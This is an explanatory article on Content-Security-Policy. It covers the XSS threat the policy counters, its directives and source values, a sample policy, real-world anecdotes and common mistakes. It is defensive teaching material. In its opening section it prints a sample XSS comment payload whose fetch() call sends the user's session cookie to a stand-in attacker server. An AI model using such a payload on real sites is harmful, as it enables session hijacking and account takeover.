In one sentence
Content-Security-Policy (CSP) is a security standard, delivered via an HTTP header, that tells the browser which sources of content (like scripts, images, and styles) are trusted and should be allowed to load, effectively acting as a bouncer against malicious injections.
The problem it solves
In the early, wild-west days of the web, security was a bit of an afterthought. One of the nastiest villains to emerge was Cross-Site Scripting, or XSS. In a nutshell, XSS is an attack where a bad actor manages to inject their own malicious code (usually JavaScript) into a website that you trust.
Imagine a blog with a comment section. You, a developer, carefully build the site. But you miss one tiny bug in how you display comments. An attacker comes along and, instead of writing "Nice post!", they submit a comment like this:
<script>
// Steal the logged-in user's session cookie
fetch('https://attackers-evil-server.com/steal?cookie=' + document.cookie);
</script>
Now, every other user who views that blog post has their browser execute this script. Since the script runs on your blog's domain, it has access to everything that a legitimate script would, like the user's session cookies. The attacker can now hijack their session and impersonate them. Yikes.
For years, the only defense was meticulously sanitizing every single piece of user input. This is called "input validation and output encoding," and it's still critically important. But it's also incredibly hard to get 100% right, 100% of the time. One small slip-up, and you're vulnerable.
CSP was born out of the need for "defense in depth." The idea is simple: what if the server could tell the browser, "Hey, I know I'm supposed to be perfect, but just in case I messed up and let a malicious script through, I want you to enforce some rules for me. Only execute scripts that come from my own domain, my-app.com, and from Google Analytics. If you see a script from any other source, block it and tell me about it."
That's CSP. It's a second line of defense that operates directly in the user's browser, turning it from a passive victim into an active security agent.
How it works under the hood
CSP is not magic; it's just a string of text delivered in an HTTP response header. The two main headers are:
Content-Security-Policy: Enforces the policy. If a resource violates the policy, it's blocked.Content-Security-Policy-Report-Only: A "dry run" mode. It reports violations but doesn't actually block anything, which is a godsend for testing and deploying a new policy without breaking your site.
The header's value is a series of directives, each ending with a semicolon. A directive consists of a name and a list of allowed sources.
Common Directives
Think of directives as categories of content you want to control.
| Directive | Controls... | What it covers |
|---|---|---|
default-src |
The fallback | The default source list for most other -src directives if they aren't specified. Set this first! |
script-src |
Scripts | JavaScript sources, including script tags, inline handlers (onclick), and more. The big one for XSS. |
style-src |
Stylesheets | CSS files, style tags, and inline style attributes. |
img-src |
Images | <img> tags, favicons, etc. |
connect-src |
Connections | URLs for fetch(), XMLHttpRequest, WebSocket, etc. What can your front-end talk to? |
font-src |
Fonts | Web fonts loaded via @font-face. |
frame-src |
Frames | Sources for <iframe> and <frame> elements. |
report-uri |
Reporting | (Deprecated but common) A URL where the browser sends JSON reports of policy violations. |
report-to |
Reporting | The modern replacement for report-uri, using the Reporting API. |
Common Source Values
For each directive, you specify where content is allowed to come from.
| Source | Meaning | Example |
|---|---|---|
'self' |
The same origin | Allows content from the same domain, scheme, and port as the document. |
'none' |
Nothing | Blocks all content for that directive. object-src 'none' is a very good idea. |
example.com |
A specific host | Allows content from example.com. |
*.example.com |
Host with wildcard | Allows content from any subdomain of example.com. Use with caution! |
https: |
A scheme | Allows content from any source over HTTPS. |
'unsafe-inline' |
Inline code | Allows inline <script> and <style> tags, and style or onclick attributes. Avoid if possible! |
'unsafe-eval' |
Dynamic code | Allows string evaluation functions like eval(). A big security risk. |
'nonce-...' |
A cryptographic nonce | Allows an inline script if its nonce attribute matches the one in the header. Great for safely using specific inline scripts. |
'sha256-...' |
A hash | Allows an inline script or style if its SHA256 hash matches the one in the header. |
Putting It All Together
Let's look at a realistic policy for a modern web app:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.my-analytics.com 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https://images.my-app.com;
connect-src 'self' https://api.my-app.com;
font-src 'none';
object-src 'none';
frame-ancestors 'none';
report-to csp-endpoint;
Let's break this down:
default-src 'self': By default, only allow resources from our own origin.script-src ...: We allow scripts from our own origin, from our analytics provider, and any inline script that has the specificnoncevalue. The server would generate a new random nonce for every single page load.style-src 'self' 'unsafe-inline': We allow stylesheets from our origin. The'unsafe-inline'suggests we might have some legacy code that injectsstyleattributes, which is a common (though not ideal) situation.img-src ...: Images can come from our origin, asdata:URIs, or from our dedicated image CDN.connect-src ...: Our front-end JavaScript is only allowed to make API calls to our own origin andapi.my-app.com.font-src 'none',object-src 'none': We don't use custom fonts or plugins like Flash, so we block them completely.frame-ancestors 'none': This prevents other sites from putting our site in an<iframe>, which stops clickjacking attacks.report-to csp-endpoint: Send violation reports to the reporting endpoint namedcsp-endpoint(configured elsewhere).
Real-world stories
The E-Commerce Skimmer
A mid-sized online store added a third-party chat widget to their site to help with customer service. They added the widget's domain to their script-src directive and thought they were safe. What they didn't know was that the chat widget company itself got breached, and an attacker modified the widget's script file. The new, malicious version scraped the checkout page for credit card numbers. Because the store's CSP trusted the source domain, the malicious script was loaded and executed without issue for weeks.
Lesson: Your CSP is a chain of trust. When you allow a third-party domain, you are not just trusting that company; you are trusting their security, their deployment pipeline, and all their dependencies. Subresource Integrity (SRI) is another tool that can help mitigate this specific risk.
The Slow Rollout
A large media organization wanted to implement a strict CSP on their high-traffic news site. They knew that deploying it all at once could break ads, videos, and countless other features. Instead of going live, they deployed a policy in Content-Security-Policy-Report-Only mode. For two weeks, they just collected data. Their report-uri endpoint was flooded with thousands of reports per hour. They funneled these reports into a database and built a dashboard showing the most frequently blocked resources and the pages they were blocked on. They discovered dozens of forgotten legacy tracking scripts, ad network domains, and video player dependencies. Systematically, they either removed the old resources or added the legitimate ones to their policy whitelist. After a month of refinement, they flipped the switch to enforcing mode. Nothing broke.
Lesson: Don't fly blind. Use Report-Only mode as your co-pilot. It lets you build a perfect, real-world policy based on actual user traffic, turning a terrifying security task into a manageable data analysis problem.
The Browser Extension Menace
An employee at a financial company used a popular browser extension that "prettified" web pages by injecting its own CSS and JavaScript. On most sites, this was harmless. But when they logged into their internal corporate finance portal, the site refused to work correctly. Confused, they called IT. A developer looked at the browser's console and saw a stream of CSP violation errors: the portal was blocking the extension's scripts and styles from being injected. The portal's strict CSP, which only allowed scripts and styles from 'self', had correctly identified the extension's code as an untrusted, foreign resource and blocked it. It prevented a potential data leak from a well-meaning but invasive extension.
Lesson: A strong CSP protects your users not just from your own potential bugs, but also from threats within their own browser environment, like malicious or overly-permissive extensions.
Common mistakes and traps
- Relying on
'unsafe-inline'. This is the most common trap. Developers hit issues with oldonclickevent handlers or inline<script>tags and reach for'unsafe-inline'as a quick fix. This re-opens a huge vector for XSS attacks. The better path is to refactor code to useaddEventListeneror, if you absolutely must have an inline script, use a nonce or a hash to whitelist it specifically. - Forgetting
default-src. If you only setscript-srcandstyle-src, you leave other vectors open. What about<object>tags? Or workers? Always start with a restrictivedefault-src 'self'ordefault-src 'none'and open up only what you need on a per-directive basis. - Setting up reporting but never looking at it. A
report-urithat points to a dead end is useless. Violation reports are your early warning system. They can alert you to a new XSS attack in the wild or tell you that a recent deployment broke a legitimate feature for a subset of users. You must have a process to ingest, aggregate, and review these reports. - Using overly permissive wildcards. It's tempting to use
script-src https://*.some-cdn.com, but this could allow an attacker to load a script fromhttps://malicious-user-account.some-cdn.com. Be as specific as you possibly can with your hostnames. - Ignoring
frame-ancestors. XSS gets all the attention, but clickjacking is another real threat. An attacker can load your site in a transparent<iframe>over their own malicious site and trick users into clicking buttons on your site.frame-ancestors 'none'orframe-ancestors 'self'is a simple and powerful defense that is often forgotten.
Why it belongs on your radar
You should be thinking about CSP if you...
- Build any web application that handles user login, personal data, or payment information.
- Display any content submitted by users (comments, profiles, forum posts).
- Integrate multiple third-party scripts like analytics, ads, support widgets, or tag managers.
- Want a robust, modern, defense-in-depth security posture for any non-trivial web project.
In short, if you're a web developer in the 21st century, CSP should be a standard part of your toolkit. It's no longer an exotic feature for the ultra-paranoid; it's a foundational piece of front-end security.
Go deeper
- MDN Web Docs: Content Security Policy (CSP) - The definitive, practical guide and reference.
- W3C Content Security Policy Level 3 - The official specification. It's dense, but it's the source of truth.
- Google's Web Fundamentals on CSP - A great high-level introduction with practical advice.
- report-uri.com - A service for CSP report collection, run by security expert Scott Helme, whose blog is also an incredible resource on the topic.
- OWASP Cheat Sheet: Content Security Policy - Security-focused best practices from the Open Web Application Security Project.